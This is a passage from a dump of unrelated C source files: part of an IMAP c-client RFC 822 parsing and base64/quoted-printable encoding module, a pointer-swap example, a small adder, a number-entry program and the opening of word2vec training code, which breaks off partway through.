char c,*s,tmp[MAILTMPLEN];
PARAMETER *param = NIL;
/* parameter list? */
while (text && (*text == ';') && (text = rfc822_parse_word ((s = ++text),ptspecials)))
{
c = *text; /* remember delimiter */
*text = '\0'; /* tie off attribute name */
rfc822_skipws (&s); /* skip leading attribute whitespace */
if (!*s) *text = c; /* must have an attribute name */
else /* instantiate a new parameter */
{
if (*par) param = param->next = mail_newbody_parameter ();
else param = *par = mail_newbody_parameter ();
param->attribute = ucase (cpystr (s));
*text = c; /* restore delimiter */
rfc822_skipws (&text); /* skip whitespace before equal sign */
if ((*text != '=') || !(text = rfc822_parse_word ((s = ++text),ptspecials)))
param->value = cpystr ("UNKNOWN_PARAMETER_VALUE");
else /* good, have equals sign */
{
c = *text; /* remember delimiter */
*text = '\0'; /* tie off value */
rfc822_skipws (&s); /* skip leading value whitespace */
if (*s) param->value = rfc822_cpy (s);
*text = c; /* restore delimiter */
rfc822_skipws (&text);
}
}
}
if (!text) /* must be end of poop */
{
if (param && param->attribute)
sprintf (tmp,"Missing parameter value: %.80s",param->attribute);
else strcpy (tmp,"Missing parameter");
mm_log (tmp,PARSE);
}
else if (*text) /* must be end of poop */
{
sprintf (tmp,"Unexpected characters at end of parameters: %.80s",text);
mm_log (tmp,PARSE);
}
}
/* Parse RFC822 address list
* Accepts: address list to write to
* input string
* default host name
*/
void rfc822_parse_adrlist (ADDRESS **lst,char *string,char *host)
{
char c,*s,tmp[MAILTMPLEN];
ADDRESS *last = *lst;
ADDRESS *adr;
if (!string) return; /* no string */
rfc822_skipws (&string); /* skip leading WS */
if (!*string) return; /* empty string */
/* run to tail of list */
if (last) while (last->next) last = last->next;
while (string) /* loop until string exhausted */
{
/* got an address? */
if (adr = rfc822_parse_address (lst,last,&string,host))
{
last = adr;
if (string) /* analyze what follows */
{
rfc822_skipws (&string);
switch (c = *string)
{
case ',': /* comma? */
++string; /* then another address follows */
break;
default:
s = isalnum (c) ? "Must use comma to separate addresses: %.80s" : "Unexpected characters at end of address: %.80s";
sprintf (tmp,s,string);
mm_log (tmp,PARSE);
last = last->next = mail_newaddr ();
last->mailbox = cpystr ("UNEXPECTED_DATA_AFTER_ADDRESS");
last->host = cpystr (errhst);
/* falls through */
case '\0': /* null-specified address? */
string = NIL; /* punt remainder of parse */
break;
}
}
}
else if (string) /* bad mailbox */
{
rfc822_skipws (&string); /* skip WS */
if (!*string) strcpy (tmp,"Missing address after comma");
else sprintf (tmp,"Invalid mailbox list: %.80s",string);
mm_log (tmp,PARSE);
string = NIL;
(adr = mail_newaddr ())->mailbox = cpystr ("INVALID_ADDRESS");
adr->host = cpystr (errhst);
if (last) last = last->next = adr;
else *lst = last = adr;
break;
}
}
}
/* Parse RFC822 address
* Accepts: address list to write to
* tail of address list
* pointer to input string
* default host name
*/
ADDRESS *rfc822_parse_address (ADDRESS **lst,ADDRESS *last,char **string,char *defaulthost)
{
ADDRESS *adr;
if (!*string) return NIL; /* no string */
rfc822_skipws (string); /* skip leading WS */
if (!**string) return NIL; /* empty string */
if (adr = rfc822_parse_group (lst,last,string,defaulthost)) last = adr;
else if (adr = rfc822_parse_mailbox (string,defaulthost)) /* got an address? */
{
if (!*lst) *lst = adr; /* yes, first time through? */
else last->next = adr; /* no, append to the list */
last = adr; /* set for subsequent linking */
}
else if (*string) return NIL;
return last;
}
/* Parse RFC822 group
* Accepts: address list to write to
* pointer to tail of address list
* pointer to input string
* default host name
*/
ADDRESS *rfc822_parse_group (ADDRESS **lst,ADDRESS *last,char **string,char *defaulthost)
{
char tmp[MAILTMPLEN];
char *p,*s;
ADDRESS *adr;
if (!*string) return NIL; /* no string */
rfc822_skipws (string); /* skip leading WS */
if (!**string || ((*(p = *string) != ':') && !(p = rfc822_parse_phrase (*string)))) /* trailing whitespace or not group */
return NIL;
s = p; /* end of candidate phrase */
rfc822_skipws (&s); /* find delimiter */
if (*s != ':') return NIL; /* not really a group */
*p = '\0'; /* tie off group name */
p = ++s; /* continue after the delimiter */
rfc822_skipws (&p); /* skip subsequent whitespace */
/* write as address */
(adr = mail_newaddr ())->mailbox = rfc822_cpy (*string);
if (!*lst) *lst = adr; /* first time through? */
else last->next = adr; /* no, append to the list */
last = adr; /* set for subsequent linking */
*string = p; /* continue after this point */
while (*string && **string && (**string != ';'))
{
if (adr = rfc822_parse_address (lst,last,string,defaulthost))
{
last = adr;
if (*string) /* anything more? */
{
rfc822_skipws (string); /* skip whitespace */
switch (**string) /* see what follows */
{
case ',': /* another address? */
++*string; /* yes, skip past the comma */
case ';': /* end of group? */
case '\0': /* end of string */
break;
default:
sprintf (tmp,"Unexpected characters after address in group: %.80s",
*string);
mm_log (tmp,PARSE);
*string = NIL; /* cancel remainder of parse */
last = last->next = mail_newaddr ();
last->mailbox = cpystr ("UNEXPECTED_DATA_AFTER_ADDRESS_IN_GROUP");
last->host = cpystr (errhst);
}
}
}
else /* bogon */
{
sprintf (tmp,"Invalid group mailbox list: %.80s",*string);
mm_log (tmp,PARSE);
*string = NIL; /* cancel remainder of parse */
(adr = mail_newaddr ())->mailbox = cpystr ("INVALID_ADDRESS_IN_GROUP");
adr->host = cpystr (errhst);
last = last->next = adr;
}
}
if (*string) { /* skip close delimiter */
if (**string == ';') ++*string;
rfc822_skipws (string);
}
/* append end of address mark to the list */
last->next = (adr = mail_newaddr ());
last = adr; /* set for subsequent linking */
return last; /* return the tail */
}
/* Parse RFC822 mailbox
* Accepts: pointer to string pointer
* default host
* Returns: address
*
* Updates string pointer
*/
ADDRESS *rfc822_parse_mailbox (char **string,char *defaulthost)
{
ADDRESS *adr;
char *s,*phrase;
if (!*string) return NIL; /* no string */
rfc822_skipws (string); /* flush leading whitespace */
if (!**string) return NIL; /* empty string */
/* This is much more complicated than it should be because users like
* to write local addrspecs without "@localhost". This makes it very
* difficult to tell a phrase from an addrspec!
* The other problem we must cope with is a route-addr without a leading
* phrase. Yuck!
*/
if (*(s = *string) == '<') /* note start, handle case of phraseless RA */
adr = rfc822_parse_routeaddr (s,string,defaulthost);
else /* get phrase if any */
{
if ((phrase = rfc822_parse_phrase (s)) &&
(adr = rfc822_parse_routeaddr (phrase,string,defaulthost)))
{
*phrase = '\0'; /* tie off phrase */
/* phrase is a personal name */
adr->personal = rfc822_cpy (s);
}
else adr = rfc822_parse_addrspec (s,string,defaulthost);
}
return adr; /* return the address */
}
/* Parse RFC822 route-address
* Accepts: string pointer
* pointer to string pointer to update
* Returns: address
*
* Updates string pointer
*/
ADDRESS *rfc822_parse_routeaddr (char *string,char **ret,char *defaulthost)
{
char tmp[MAILTMPLEN];
ADDRESS *adr;
char *adl = NIL;
char *routeend = NIL;
if (!string) return NIL;
rfc822_skipws (&string); /* flush leading whitespace */
/* must start with open broket */
if (*string != '<') return NIL;
if (string[1] == '@') /* have an A-D-L? */
{
adl = ++string; /* yes, remember that fact */
while (*string != ':') /* search for end of A-D-L */
{
/* punt if never found */
if (!*string) return NIL;
++string; /* try next character */
}
*string = '\0'; /* tie off A-D-L */
routeend = string; /* remember in case need to put back */
}
/* parse address spec */
if (!(adr = rfc822_parse_addrspec (++string,ret,defaulthost)))
{
if (adl) *routeend = ':'; /* put colon back since parse barfed */
return NIL;
}
/* have an A-D-L? */
if (adl) adr->adl = cpystr (adl);
if (*ret) if (**ret == '>') /* make sure terminated OK */
{
++*ret; /* skip past the broket */
rfc822_skipws (ret); /* flush trailing WS */
if (!**ret) *ret = NIL; /* wipe pointer if at end of string */
return adr; /* return the address */
}
sprintf (tmp,"Unterminated mailbox: %.80s@%.80s",adr->mailbox,
*adr->host == '@' ? "<null>" : adr->host);
mm_log (tmp,PARSE);
adr->next = mail_newaddr ();
adr->next->mailbox = cpystr ("MISSING_MAILBOX_TERMINATOR");
adr->next->host = cpystr (errhst);
return adr; /* return the address */
}
/* Parse RFC822 address-spec
* Accepts: string pointer
* pointer to string pointer to update
* default host
* Returns: address
*
* Updates string pointer
*/
ADDRESS *rfc822_parse_addrspec (char *string,char **ret,char *defaulthost)
{
ADDRESS *adr;
char *end;
char c,*s,*t;
if (!string) return NIL; /* no string */
rfc822_skipws (&string); /* flush leading whitespace */
if (!*string) return NIL; /* empty string */
/* find end of mailbox */
if (!(end = rfc822_parse_word (string,NIL))) return NIL;
adr = mail_newaddr (); /* create address block */
c = *end; /* remember delimiter */
*end = '\0'; /* tie off mailbox */
/* copy mailbox */
adr->mailbox = rfc822_cpy (string);
*end = c; /* restore delimiter */
t = end; /* remember end of mailbox for no host case */
rfc822_skipws (&end); /* skip whitespace */
if (*end == '@') /* have host name? */
{
++end; /* skip delimiter */
rfc822_skipws (&end); /* skip whitespace */
if (*end == '[') /* domain literal? */
{
string = end; /* start of domain literal */
if (end = rfc822_parse_word (string + 1,"]\\"))
{
c = end[1]; /* tie off literal */
end[1] = '\0';
adr->host = cpystr (string);
*++end = c; /* restore delimiter */
}
else
{
mm_log ("Invalid domain literal after @",PARSE);
adr->host = cpystr (BADHOST);
}
}
/* search for end of host */
else if (end = rfc822_parse_word ((string = end),wspecials))
{
c = *end; /* remember delimiter */
*end = '\0'; /* tie off host */
/* copy host */
adr->host = rfc822_cpy (string);
*end = c; /* restore delimiter */
}
else
{
mm_log ("Missing or invalid host name after @",PARSE);
adr->host = cpystr (BADHOST);
}
}
else end = t; /* make person name default start after mbx */
/* default host if missing */
if (!adr->host) adr->host = cpystr (defaulthost);
if (end && !adr->personal) /* try person name in comments if missing */
{
while (*end == ' ') ++end; /* see if we can find a person name here */
if ((*end == '(') && (s = rfc822_skip_comment (&end,LONGT)) && strlen (s))
adr->personal = rfc822_cpy (s);
rfc822_skipws (&end); /* skip any other WS in the normal way */
}
/* set return to end pointer */
*ret = (end && *end) ? end : NIL;
return adr; /* return the address we got */
}
/* Parse RFC822 phrase
* Accepts: string pointer
* Returns: pointer to end of phrase
*/
char *rfc822_parse_phrase (char *s)
{
char *curpos;
if (!s) return NIL; /* no-op if no string */
/* find first word of phrase */
curpos = rfc822_parse_word (s,NIL);
if (!curpos) return NIL; /* no words means no phrase */
if (!*curpos) return curpos; /* check if string ends with word */
s = curpos; /* sniff past the end of this word and WS */
rfc822_skipws (&s); /* skip whitespace */
/* recurse to see if any more */
return (s = rfc822_parse_phrase (s)) ? s : curpos;
}
/* Parse RFC822 word
* Accepts: string pointer
* Returns: pointer to end of word
*/
char *rfc822_parse_word (char *s,const char *delimiters)
{
char *st,*str;
if (!s) return NIL; /* no string */
rfc822_skipws (&s); /* flush leading whitespace */
if (!*s) return NIL; /* empty string */
/* default delimiters to standard */
if (!delimiters) delimiters = wspecials;
str = s; /* hunt pointer for strpbrk */
while (T) /* look for delimiter */
{
if (!(st = strpbrk (str,delimiters)))
{
while (*s) ++s; /* no delimiter, hunt for end */
return s; /* return it */
}
switch (*st) /* dispatch based on delimiter */
{
case '"': /* quoted string */
/* look for close quote */
while (*++st != '"')
switch (*st)
{
case '\0': /* unbalanced quoted string */
return NIL; /* sick sick sick */
case '\\': /* quoted character */
if (!*++st) return NIL; /* skip the next character */
default: /* ordinary character */
break; /* no special action */
}
str = ++st; /* continue parse */
break;
case '\\': /* quoted character */
/* This is wrong; a quoted-pair can not be part of a word. However,
* domain-literal is parsed as a word and quoted-pairs can be used
* *there*. Either way, it's pretty pathological.
*/
if (st[1]) /* not on NUL though... */
{
str = st + 2; /* skip quoted character and go on */
break;
}
default: /* found a word delimiter */
return (st == s) ? NIL : st;
}
}
}
/* Copy an RFC822 format string
* Accepts: string
* Returns: copy of string
*/
char *rfc822_cpy (char *src)
{
/* copy and unquote */
return rfc822_quote (cpystr (src));
}
/* Unquote an RFC822 format string
* Accepts: string
* Returns: string
*/
char *rfc822_quote (char *src)
{
char *ret = src;
if (strpbrk (src,"\\\"")) /* any quoting in string? */
{
char *dst = ret;
while (*src) /* copy string */
{
if (*src == '\"') src++; /* skip double quote entirely */
else
{
if (*src == '\\') src++;/* skip over single quote, copy next always */
*dst++ = *src++; /* copy character */
}
}
*dst = '\0'; /* tie off string */
}
return ret; /* return our string */
}
/* Copy address list
* Accepts: address list
* Returns: address list
*/
ADDRESS *rfc822_cpy_adr (ADDRESS *adr)
{
ADDRESS *dadr;
ADDRESS *ret = NIL;
ADDRESS *prev = NIL;
while (adr) /* loop while there's still an MAP adr */
{
dadr = mail_newaddr (); /* instantiate a new address */
if (!ret) ret = dadr; /* note return */
if (prev) prev->next = dadr;/* tie on to the end of any previous */
dadr->personal = cpystr (adr->personal);
dadr->adl = cpystr (adr->adl);
dadr->mailbox = cpystr (adr->mailbox);
dadr->host = cpystr (adr->host);
prev = dadr; /* this is now the previous */
adr = adr->next; /* go to next address in list */
}
return (ret); /* return the MTP address list */
}
/* Skips RFC822 whitespace
* Accepts: pointer to string pointer
*/
void rfc822_skipws (char **s)
{
while (T)
{
if (**s == ' ') ++*s; /* skip space */
else if ((**s != '(') || !rfc822_skip_comment (s,(long) NIL)) return;
}
}
/* Skips RFC822 comment
* Accepts: pointer to string pointer
* trim flag
* Returns: pointer to first non-blank character of comment
*/
char *rfc822_skip_comment (char **s,long trim)
{
char *ret,tmp[MAILTMPLEN];
char *s1 = *s;
char *t = NIL;
/* skip past whitespace */
for (ret = ++s1; *ret == ' '; ret++);
do
{
switch (*s1) /* get character of comment */
{
case '(': /* nested comment? */
if (!rfc822_skip_comment (&s1,(long) NIL)) return NIL;
t = --s1; /* last significant char at end of comment */
break;
case ')': /* end of comment? */
*s = ++s1; /* skip past end of comment */
if (trim) /* if level 0, must trim */
{
if (t) t[1] = '\0'; /* tie off comment string */
else *ret = '\0'; /* empty comment */
}
return ret;
case '\\': /* quote next character? */
if (*++s1) break; /* drop in if null seen */
case '\0': /* end of string */
sprintf (tmp,"Unterminated comment: %.80s",*s);
mm_log (tmp,PARSE);
**s = '\0'; /* nuke duplicate messages in case reparse */
return NIL; /* this is wierd if it happens */
case ' ': /* whitespace isn't significant */
break;
default: /* random character */
t = s1; /* update last significant character pointer */
break;
}
} while (s1++);
return NIL; /* impossible, but pacify lint et al */
}
/* Body contents utility and encoding/decoding routines */
/* Return body contents in normal form
* Accepts: pointer to destination
* pointer to length of destination
* returned destination length
* source
* length of source
* source encoding
* Returns: destination
*
* Originally, this routine was supposed to do decoding as well, but that was
* moved to a higher level. Now, it's merely a jacket into strcrlfcpy that
* avoids the work for BINARY segments.
*/
char *rfc822_contents (char **dst,unsigned long *dstl,unsigned long *len,char *src,unsigned long srcl,unsigned short encoding)
{
*len = 0; /* in case we return an error */
if (encoding == ENCBINARY) /* unmodified binary */
{
if ((*len = srcl) > *dstl) /* resize if not enough space */
{
fs_give ((void **) dst); /* fs_resize does an unnecessary copy */
*dst = (char *) fs_get ((size_t) (*dstl = srcl) + 1);
if (!dst) return NULL;
}
/* copy that many bytes */
memcpy (*dst,src,(size_t) srcl);
*(*dst + srcl) = '\0'; /* tie off destination */
}
/* all other cases return strcrlfcpy version */
else *len = strcrlfcpy (dst,dstl,src,srcl);
return *dst; /* return the string */
}
/* Output RFC 822 message
* Accepts: temporary buffer
* envelope
* body
* I/O routine
* stream for I/O routine
* non-zero if 8-bit output desired
* Returns: T if successful, NIL if failure
*/
long rfc822_output (char *t,ENVELOPE *env,IMAPBODY *body,soutr_t f,void *s,long ok8bit)
{
rfc822out_t r822o = (rfc822out_t) mail_parameters (NIL,GET_RFC822OUTPUT,NIL);
/* call external RFC822 output generator */
if (r822o) return (*r822o) (t,env,body,f,s,ok8bit);
/* encode body as necessary */
if (ok8bit) rfc822_encode_body_8bit (env,body);
else rfc822_encode_body_7bit (env,body);
rfc822_header (t,env,body); /* build RFC822 IMAPheader */
/* output IMAPheader and body */
return (*f) (s,t) && (body ? rfc822_output_body (body,f,s) : T);
}
/* Encode a body for 7BIT transmittal
* Accepts: envelope
* body
*/
void rfc822_encode_body_7bit (ENVELOPE *env,IMAPBODY *body)
{
void *f;
PART *part;
if (body)
switch (body->type)
{
case TYPEMULTIPART: /* multi-part */
if (!body->parameter) /* cookie not set up yet? */
{
char tmp[MAILTMPLEN]; /* make cookie not in BASE64 or QUOTEPRINT*/
sprintf (tmp,"%ld-%ld-%ld=:%ld",gethostid (),random (),time (0),
getpid ());
body->parameter = mail_newbody_parameter ();
body->parameter->attribute = cpystr ("BOUNDARY");
body->parameter->value = cpystr (tmp);
}
part = body->nested.part; /* encode body parts */
do
rfc822_encode_body_7bit (env,&part->body);
while (part = part->next); /* until done */
break;
case TYPEMESSAGE: /* encapsulated message */
switch (body->encoding)
{
case ENC7BIT:
break;
case ENC8BIT:
mm_log ("8-bit included message in 7-bit message body",WARN);
break;
case ENCBINARY:
mm_log ("Binary included message in 7-bit message body",WARN);
break;
default:
fatal ("Invalid rfc822_encode_body_7bit message encoding");
}
break; /* can't change encoding */
default: /* all else has some encoding */
switch (body->encoding)
{
case ENC8BIT: /* encode 8BIT into QUOTED-PRINTABLE */
/* remember old 8-bit contents */
f = (void *) body->contents.text.data;
body->contents.text.data = (char *)
rfc822_8bit ((unsigned char *) body->contents.text.data,
body->contents.text.size,&body->contents.text.size);
body->encoding = ENCQUOTEDPRINTABLE;
fs_give (&f); /* flush old binary contents */
break;
case ENCBINARY: /* encode binary into BASE64 */
/* remember old binary contents */
f = (void *) body->contents.text.data;
body->contents.text.data = (char *)
rfc822_binary ((void *) body->contents.text.data,
body->contents.text.size,&body->contents.text.size);
body->encoding = ENCBASE64;
fs_give (&f); /* flush old binary contents */
default: /* otherwise OK */
break;
}
break;
}
}
/* Encode a body for 8BIT transmittal
* Accepts: envelope
* body
*/
void rfc822_encode_body_8bit (ENVELOPE *env,IMAPBODY *body)
{
void *f;
PART *part;
if (body)
switch (body->type)
{
case TYPEMULTIPART: /* multi-part */
if (!body->parameter) /* cookie not set up yet? */
{
char tmp[MAILTMPLEN]; /* make cookie not in BASE64 or QUOTEPRINT*/
sprintf (tmp,"%ld-%ld-%ld=:%ld",gethostid (),random (),time (0),
getpid ());
body->parameter = mail_newbody_parameter ();
body->parameter->attribute = cpystr ("BOUNDARY");
body->parameter->value = cpystr (tmp);
}
part = body->nested.part; /* encode body parts */
do
rfc822_encode_body_8bit (env,&part->body);
while (part = part->next); /* until done */
break;
case TYPEMESSAGE: /* encapsulated message */
switch (body->encoding)
{
case ENC7BIT:
case ENC8BIT:
break;
case ENCBINARY:
mm_log ("Binary included message in 8-bit message body",WARN);
break;
default:
fatal ("Invalid rfc822_encode_body_7bit message encoding");
}
break; /* can't change encoding */
default: /* other type, encode binary into BASE64 */
if (body->encoding == ENCBINARY)
{
/* remember old binary contents */
f = (void *) body->contents.text.data;
body->contents.text.data = (char *)
rfc822_binary ((void *) body->contents.text.data,
body->contents.text.size,&body->contents.text.size);
body->encoding = ENCBASE64;
fs_give (&f); /* flush old binary contents */
}
break;
}
}
/* Output RFC 822 body
* Accepts: body
* I/O routine
* stream for I/O routine
* Returns: T if successful, NIL if failure
*/
long rfc822_output_body (IMAPBODY *body,soutr_t f,void *s)
{
PART *part;
PARAMETER *param;
char *cookie = NIL;
char tmp[MAILTMPLEN];
char *t;
switch (body->type)
{
case TYPEMULTIPART: /* multipart gets special handling */
part = body->nested.part; /* first body part */
/* find cookie */
for (param = body->parameter; param && !cookie; param = param->next)
if (!strcmp (param->attribute,"BOUNDARY")) cookie = param->value;
if (!cookie) cookie = "-"; /* yucky default */
do /* for each part */
{
/* build cookie */
sprintf (t = tmp,"--%s\015\012",cookie);
/* append mini-IMAPheader */
rfc822_write_body_header (&t,&part->body);
strcat (t,"\015\012"); /* write terminating blank line */
/* output cookie, mini-IMAPheader, and contents */
if (!((*f) (s,tmp) && rfc822_output_body (&part->body,f,s))) return NIL;
} while (part = part->next);/* until done */
/* output trailing cookie */
sprintf (t = tmp,"--%s--",cookie);
break;
default: /* all else is text now */
t = (char *) body->contents.text.data;
break;
}
/* output final stuff */
if (t && *t && !((*f) (s,t) && (*f) (s,"\015\012"))) return NIL;
return LONGT;
}
/* Convert BASE64 contents to binary
* Accepts: source
* length of source
* pointer to return destination length
* Returns: destination as binary
*/
void *rfc822_base64 (unsigned char *src,unsigned long srcl,unsigned long *len)
{
char c;
void *ret = fs_get ((size_t) (*len = 4 + ((srcl * 3) / 4)));
char *d = (char *) ret;
short e = 0;
if (!ret) return NULL;
memset (ret,0,(size_t) *len); /* initialize block */
*len = 0; /* in case we return an error */
while (srcl--) /* until run out of characters */
{
c = *src++; /* simple-minded decode */
if (isupper (c)) c -= 'A';
else if (islower (c)) c -= 'a' - 26;
else if (isdigit (c)) c -= '0' - 52;
else if (c == '+') c = 62;
else if (c == '/') c = 63;
else if (c == '=') /* padding */
{
switch (e++) /* check quantum position */
{
case 3:
e = 0; /* restart quantum */
break;
case 2:
if (*src == '=') break;
default: /* impossible quantum position */
fs_give (&ret);
return NIL;
}
continue;
}
else continue; /* junk character */
switch (e++) /* install based on quantum position */
{
case 0:
*d = c << 2; /* byte 1: high 6 bits */
break;
case 1:
*d++ |= c >> 4; /* byte 1: low 2 bits */
*d = c << 4; /* byte 2: high 4 bits */
break;
case 2:
*d++ |= c >> 2; /* byte 2: low 4 bits */
*d = c << 6; /* byte 3: high 2 bits */
break;
case 3:
*d++ |= c; /* byte 3: low 6 bits */
e = 0; /* reinitialize mechanism */
break;
}
}
*len = d - (char *) ret; /* calculate data length */
return ret; /* return the string */
}
/* Convert binary contents to BASE64
* Accepts: source
* length of source
* pointer to return destination length
* Returns: destination as BASE64
*/
unsigned char *rfc822_binary (void *src,unsigned long srcl,unsigned long *len)
{
unsigned char *ret,*d;
unsigned char *s = (unsigned char *) src;
char *v = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
unsigned long i = ((srcl + 2) / 3) * 4;
*len = i += 2 * ((i / 60) + 1);
d = ret = (unsigned char *) fs_get ((size_t) ++i);
if (!ret) return NULL;
for (i = 0; srcl; s += 3) /* process tuplets */
{
*d++ = v[s[0] >> 2]; /* byte 1: high 6 bits (1) */
/* byte 2: low 2 bits (1), high 4 bits (2) */
*d++ = v[((s[0] << 4) + (--srcl ? (s[1] >> 4) : 0)) & 0x3f];
/* byte 3: low 4 bits (2), high 2 bits (3) */
*d++ = srcl ? v[((s[1] << 2) + (--srcl ? (s[2] >> 6) : 0)) & 0x3f] : '=';
/* byte 4: low 6 bits (3) */
*d++ = srcl ? v[s[2] & 0x3f] : '=';
if (srcl) srcl--; /* count third character if processed */
if ((++i) == 15) /* output 60 characters? */
{
i = 0; /* restart line break count, insert CRLF */
*d++ = '\015'; *d++ = '\012';
}
}
*d++ = '\015'; *d++ = '\012'; /* insert final CRLF */
*d = '\0'; /* tie off string */
if (((unsigned long) (d - ret)) != *len) fatal ("rfc822_binary logic flaw");
return ret; /* return the resulting string */
}
/* Convert QUOTED-PRINTABLE contents to 8BIT
* Accepts: source
* length of source
* pointer to return destination length
* Returns: destination as 8-bit text
*/
unsigned char *rfc822_qprint (unsigned char *src,unsigned long srcl,unsigned long *len)
{
unsigned char *ret = (unsigned char *) fs_get ((size_t) srcl + 1);
unsigned char *d = ret;
unsigned char *s = d;
unsigned char c,e;
if (!ret) return NULL;
*len = 0; /* in case we return an error */
src[srcl] = '\0'; /* make sure string tied off */
while (c = *src++) /* until run out of characters */
{
switch (c) /* what type of character is it? */
{
case '=': /* quoting character */
switch (c = *src++) /* what does it quote? */
{
case '\0': /* end of data */
src--; /* back up pointer */
break;
case '\015': /* non-significant line break */
s = d; /* accept any leading spaces */
if (*src == '\012') src++;
break;
default: /* two hex digits then */
if (!isxdigit (c)) /* must be hex! */
{
fs_give ((void **) &ret);
return NIL;
}
if (isdigit (c)) e = c - '0';
else e = c - (isupper (c) ? 'A' - 10 : 'a' - 10);
c = *src++; /* snarf next character */
if (!isxdigit (c)) /* must be hex! */
{
fs_give ((void **) &ret);
return NIL;
}
if (isdigit (c)) c -= '0';
else c -= (isupper (c) ? 'A' - 10 : 'a' - 10);
*d++ = c + (e << 4); /* merge the two hex digits */
s = d; /* note point of non-space */
break;
}
break;
case ' ': /* space, possibly bogus */
*d++ = c; /* stash the space but don't update s */
break;
case '\015': /* end of line */
d = s; /* slide back to last non-space, drop in */
default:
*d++ = c; /* stash the character */
s = d; /* note point of non-space */
}
}
*d = '\0'; /* tie off results */
*len = d - ret; /* calculate length */
return ret; /* return the string */
}
/* Convert 8BIT contents to QUOTED-PRINTABLE
* Accepts: source
* length of source
* pointer to return destination length
* Returns: destination as quoted-printable text
*/
#define MAXL (size_t) 75 /* 76th position only used by continuation = */
unsigned char *rfc822_8bit (unsigned char *src,unsigned long srcl,unsigned long *len)
{
unsigned long lp = 0;
unsigned char *ret = (unsigned char *)fs_get ((((size_t) srcl) * (size_t) 3) + (((size_t) srcl) / MAXL) + (size_t) 2);
unsigned char *d = ret;
char *hex = "0123456789ABCDEF";
unsigned char c;
if (!ret) return NULL;
while (srcl--) /* for each character */
{
/* true line break? */
if (((c = *src++) == '\015') && (*src == '\012') && srcl)
{
*d++ = '\015'; *d++ = *src++; srcl--;
lp = 0; /* reset line count */
}
else /* not a line break */
{
/* quoting required? */
if (iscntrl (c) || (c == 0x7f) || (c & 0x80) || (c == '=') || ((c == ' ') && (*src == '\015')))
{
if ((lp += 3) > MAXL) /* yes, would line overflow? */
{
*d++ = '='; *d++ = '\015'; *d++ = '\012';
lp = 3; /* set line count */
}
*d++ = '='; /* quote character */
*d++ = hex[c >> 4]; /* high order 4 bits */
*d++ = hex[c & 0xf]; /* low order 4 bits */
}
else /* ordinary character */
{
if ((++lp) > MAXL) /* would line overflow? */
{
*d++ = '='; *d++ = '\015'; *d++ = '\012';
lp = 1; /* set line count */
}
*d++ = c; /* ordinary character */
}
}
}
*d = '\0'; /* tie off destination */
*len = d - ret; /* calculate true size */
/* try to give some space back */
fs_resize ((void **) &ret,(size_t) *len + 1);
return ret;
}
#endif //IMAP |
the_stack_data/234517759.c | #include <stdio.h>
void change(int *a, int *b) {
int tmp = *a;
*a = *b;
*b = tmp;
}
int main() {
int a = 5;
int b = 3;
change(&a, &b);
printf("num a =%d\nnum b =%d\n", a, b);
return 0;
}
|
the_stack_data/126706.c |
int num;
int Adder(void)
{
num = num +32;
return(num);
} |
the_stack_data/101040.c | #include <stdio.h>
#include <stdlib.h>
long int num_entry(void){
char buff[100];
char *endpoint;
long int i;
if (fgets(buff, 100, stdin) == NULL) {
printf("Done!\n\n");
return -4000000000;
} else {
if (buff[0] == '\n'){
printf("Done!\n");
return -4000000000;
} else {
i = strtol(buff, &endpoint, 10);
return i;
}
}
}
int main(int argc, char *argv[]){
int arraySize;
char buff[10];
printf("Enter the amount of integers that you wish to enter: ");
fgets(buff, 10, stdin);
arraySize = atoi(buff);
if (arraySize < 1){
printf("Enter a positive integer for how many numbers you wish to enter.\n");
return 0;
} else {
long int numArray[arraySize];
int i;
long int k;
i = 0;
while (i < arraySize){
printf("Enter number %d, or enter blank line to exit: ", i+1);
k = num_entry();
if (k == -4000000000){
break;
} else {
numArray[i] = k;
i++;
}
}
if (i == 0){
printf("No numbers entered.\n");
return 0;
} else {
int l;
for (l = 0; l < i; l++){
printf("%li ", numArray[l]);
}
printf("\n");
return 0;
}
}
}
|
the_stack_data/107951904.c | // Copyright 2013 Google Inc. All Rights Reserved.
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
// Edited by stanlee5
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <math.h>
#include <pthread.h>
#define MAX_STRING 100
#define EXP_TABLE_SIZE 1000
#define MAX_EXP 6
#define MAX_SENTENCE_LENGTH 1000
#define MAX_CODE_LENGTH 40
const int vocab_hash_size = 30000000; // Maximum 30 * 0.7 = 21M words in the vocabulary
typedef float real; // Precision of float numbers
struct vocab_word {
long long cn;
int *point;
char *word, *code, codelen;
};
char train_file[MAX_STRING], output_file[MAX_STRING];
char save_vocab_file[MAX_STRING], read_vocab_file[MAX_STRING];
struct vocab_word *vocab;
int binary = 0, cbow = 1, debug_mode = 2, window = 5, min_count = 5, num_threads = 12, min_reduce = 1;
int *vocab_hash;
long long vocab_max_size = 1000, vocab_size = 0, layer1_size = 100;
long long train_words = 0, word_count_actual = 0, iter = 5, file_size = 0, classes = 0;
real alpha = 0.025, starting_alpha, sample = 1e-3;
real *syn0, *syn1, *syn1neg, *expTable;
clock_t start;
int hs = 0, negative = 5;
const int table_size = 1e8;
int *table;
void InitUnigramTable() {
int a, i;
double train_words_pow = 0;
double d1, power = 0.75;
table = (int *)malloc(table_size * sizeof(int));
for (a = 0; a < vocab_size; a++) train_words_pow += pow(vocab[a].cn, power);
i = 0;
d1 = pow(vocab[i].cn, power) / train_words_pow;
for (a = 0; a < table_size; a++) {
table[a] = i;
if (a / (double)table_size > d1) {
i++;
d1 += pow(vocab[i].cn, power) / train_words_pow;
}
if (i >= vocab_size) i = vocab_size - 1;
}
}
// Reads a single word from a file, assuming space + tab + EOL to be word boundaries
void ReadWord(char *word, FILE *fin) {
int a = 0, ch;
while (!feof(fin)) {
ch = fgetc(fin);
if (ch == 13) continue;
if ((ch == ' ') || (ch == '\t') || (ch == '\n')) {
if (a > 0) {
if (ch == '\n') ungetc(ch, fin);
break;
}
if (ch == '\n') {
strcpy(word, (char *)"</s>");
return;
} else continue;
}
word[a] = ch;
a++;
if (a >= MAX_STRING - 1) a--; // Truncate too long words
}
word[a] = 0;
}
// Returns hash value of a word
int GetWordHash(char *word) {
unsigned long long a, hash = 0;
